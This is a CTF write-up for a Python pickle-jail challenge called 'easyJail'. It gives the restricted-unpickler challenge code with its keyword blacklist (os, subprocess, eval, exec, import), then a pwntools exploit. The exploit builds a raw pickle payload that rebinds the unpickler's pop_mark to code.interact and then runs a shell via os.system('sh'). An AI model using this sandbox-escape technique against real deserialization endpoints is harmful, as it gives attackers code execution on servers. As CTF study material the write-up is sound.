easyJail

Attachment:

# pylint: disable = unnecessary-lambda-assignment, protected-access, redefined-builtin
import pickle
from io import BytesIO
from base64 import b64decode

_dispatch = pickle._Unpickler.dispatch

_noop = lambda *_: None
_noop_code = _noop.__code__

_DISABLED_OPCODES = [
    pickle.NEWOBJ_EX[0],
    pickle.INST[0],
    pickle.REDUCE[0],
    pickle.OBJ[0],
    pickle.NEWOBJ[0],
]

for opcode in _DISABLED_OPCODES:
    _dispatch.pop(opcode)

pickle._Unpickler.dispatch = _dispatch

for method_name in (
    "load_newobj_ex",
    "load_obj",
    "load_reduce",
    "load_newobj",
    "load_inst",
):
    handler = getattr(pickle._Unpickler, method_name)
    handler.__code__ = _noop_code

__builtins__ = {
    "input": input,
    "ValueError": ValueError,
    "bytes": bytes,
    "isinstance": isinstance,
}

del _dispatch
del _noop
del _noop_code
del _DISABLED_OPCODES
del opcode

_BLACKLISTED_SUBSTRINGS = {
    "var",
    "input",
    "builtin",
    "set",
    "get",
    "import",
    "open",
    "subprocess",
    "sys",
    "eval",
    "exec",
    "os",
    "compile",
}


def loads(data: bytes):
    if not isinstance(data, bytes):
        raise TypeError("expected bytes")

    for token in _BLACKLISTED_SUBSTRINGS:
        if token.encode() in data:
            raise ValueError(f"{token} not allowed")

    buffer = BytesIO(data)
    return pickle._Unpickler(buffer).load()


opcode = b64decode(input("Enter your pickle: ").encode())
del b64decode
loads(opcode)

Requirments:

  1. banned pickle NEWOBJ_EX/INST/REDUCE/OBJ/NEWOBJ opcodes: override pickle._Unpickler.pop_mark to code.interact and trigger pop_mark() via TUPLE

Inspired by you-shall-not-call-revenge:

from pwn import *
from pickle import *
import base64

context(log_level="debug")


payload = (
    # memo 1 = pickle._Unpickler
    (GLOBAL + b"pickle\n_Unpickler\n" + PUT + b"1\n")
    # memo 2 = code.interact
    + (GLOBAL + b"code\ninteract\n" + PUT + b"2\n")
    # pickle._Unpickler.pop_mark = code.interact
    + (
        GET
        + b"1\n"
        + NONE
        + MARK
        + UNICODE
        + b"pop_mark\n"
        + GET
        + b"2\n"
        + DICT
        + TUPLE2
        + BUILD
        + POP
    )
    # trigger pop_mark() and call code.interact()
    + TUPLE
    + STOP
)

if args.HOST:
    p = remote(args.HOST, args.PORT, ssl=True)
else:
    p = process(["python3", "chal.py"])

p.sendline(base64.b64encode(payload))
p.recvuntil(b">>>")
p.sendline(b"import os;os.system('sh')")
p.interactive()